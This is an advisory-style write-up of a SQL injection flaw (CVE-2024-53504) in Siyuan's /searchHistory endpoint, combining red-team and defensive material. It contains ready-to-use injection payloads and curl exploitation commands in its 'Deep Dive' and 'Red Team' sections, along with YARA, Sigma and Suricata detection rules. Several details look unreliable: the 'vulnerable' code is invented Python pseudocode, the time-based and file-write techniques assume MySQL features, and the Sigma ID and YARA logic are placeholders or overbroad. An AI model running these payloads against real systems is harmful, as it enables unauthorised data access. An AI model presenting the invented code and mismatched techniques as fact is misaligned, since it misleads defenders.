CVE-2024-53504

Executive Summary

CVE-2024-53504 is a critical SQL injection vulnerability identified in Siyuan 3.1.11, specifically within the /searchHistory endpoint. The flaw resides in the notebook parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data exfiltration, or even full database compromise. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of the flaw, the actual severity is high. No official patch has been released, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects the Siyuan application, which is a self-hosted note-taking and knowledge management platform. While Siyuan is not distributed via NPM, PyPI, Go, or Ruby, it is often deployed via Docker images or direct binary downloads. Users should verify the integrity of their Siyuan installation and ensure they are not running an unpatched version. The lack of a patch increases the risk of supply chain attacks if the application is used in an enterprise environment.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. However, based on the vulnerability description, the actual CVSS vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action is required to mitigate the risk.

Deep Dive & Mechanics

The vulnerability exists in the /searchHistory endpoint of Siyuan 3.1.11. The notebook parameter is passed directly into a SQL query without proper sanitization or parameterization. This allows an attacker to inject SQL commands by crafting a malicious notebook value.

Example of vulnerable code (pseudocode):

# Vulnerable code
notebook = request.GET.get('notebook')
query = f"SELECT * FROM search_history WHERE notebook = '{notebook}'"
cursor.execute(query)

Exploitation mechanics:

1. The attacker sends a GET request to /searchHistory?notebook=1' OR '1'='1.
2. The SQL query becomes: SELECT * FROM search_history WHERE notebook = '1' OR '1'='1'.
3. This returns all records from the search_history table, bypassing the intended filter.

Advanced exploitation:

• Union-based injection: notebook=1' UNION SELECT username, password FROM users --
• Blind injection: notebook=1' AND (SELECT COUNT(*) FROM users) > 0 --
• Time-based injection: notebook=1' AND IF(1=1, SLEEP(5), 0) --

Vulnerable vs. Patched Code

Vulnerable code (Siyuan 3.1.11):

# Vulnerable code
notebook = request.GET.get('notebook')
query = f"SELECT * FROM search_history WHERE notebook = '{notebook}'"
cursor.execute(query)

Patched code (hypothetical):

# Patched code using parameterized queries
notebook = request.GET.get('notebook')
query = "SELECT * FROM search_history WHERE notebook = ?"
cursor.execute(query, (notebook,))

Key differences:

• The patched code uses a parameterized query, which separates SQL logic from data.
• The vulnerable code concatenates user input directly into the SQL string, allowing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Siyuan 3.1.11 using Docker:

   docker run -d -p 6806:6806 --name siyuan b3log/siyuan:3.1.11
   

2. Access the application at http://localhost:6806.

Exploitation Steps:

1. Basic injection test:

   curl "http://localhost:6806/searchHistory?notebook=1'"
   

   If an error is returned, the endpoint is vulnerable.

2. Union-based data extraction:

   curl "http://localhost:6806/searchHistory?notebook=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --"
   

   Adjust the number of columns based on the table structure.

3. Blind injection for user enumeration:

   curl "http://localhost:6806/searchHistory?notebook=1' AND (SELECT COUNT(*) FROM users) > 0 --"
   

Blue Team (Defensive)

Detection Steps:

1. Monitor logs for unusual SQL error messages.
2. Look for requests containing SQL keywords (e.g., UNION, SELECT, OR, AND) in the notebook parameter.
3. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Mitigation Steps:

1. Immediately upgrade to a patched version if available.
2. If no patch is available, implement input validation and parameterized queries.
3. Restrict access to the /searchHistory endpoint using network segmentation.

Indicators of Compromise (IOCs)

Network IOCs:

• Requests to /searchHistory with notebook parameter containing SQL keywords.
• Unusual database error messages in application logs.
• High volume of requests to the /searchHistory endpoint.

File IOCs:

• Modified database files (e.g., search_history table with unexpected data).
• New files created by SQL injection (e.g., via INTO OUTFILE).

Log IOCs:

• SQL errors in application logs (e.g., SQL syntax error).
• Requests with %27 (URL-encoded single quote) in the notebook parameter.

Detection Engineering

YARA Rule

rule CVE_2024_53504_SQLi_Siyuan {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-53504 in Siyuan"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53504"
    strings:
        $sqli1 = "notebook="
        $sqli2 = "' OR '1'='1"
        $sqli3 = "UNION SELECT"
        $sqli4 = "SLEEP("
        $sqli5 = "1' AND "
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-53504 SQL Injection in Siyuan /searchHistory
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the notebook parameter in Siyuan's /searchHistory endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53504
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "notebook=1'"
            - "notebook=' OR '1'='1"
            - "notebook=1' UNION"
            - "notebook=1' AND"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in notebook names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53504 SQL Injection in Siyuan /searchHistory"; flow:to_server; content:"/searchHistory"; http_uri; content:"notebook="; http_uri; pcre:"/notebook=.*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: Disconnect the Siyuan instance from the network if possible.
2. Apply input validation: Implement strict input validation for the notebook parameter (e.g., allow only alphanumeric characters).
3. Use parameterized queries: Modify the application code to use prepared statements or parameterized queries.
4. Deploy a WAF: Use a Web Application Firewall to block SQL injection patterns.

Long-term Actions:

1. Monitor for patches: Regularly check for updates from the Siyuan vendor.
2. Conduct security audits: Perform regular code reviews and penetration testing.
3. Implement least privilege: Ensure the database user used by the application has minimal permissions.

Workaround:

• If patching is not possible, disable the /searchHistory endpoint or restrict access to trusted IP addresses.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert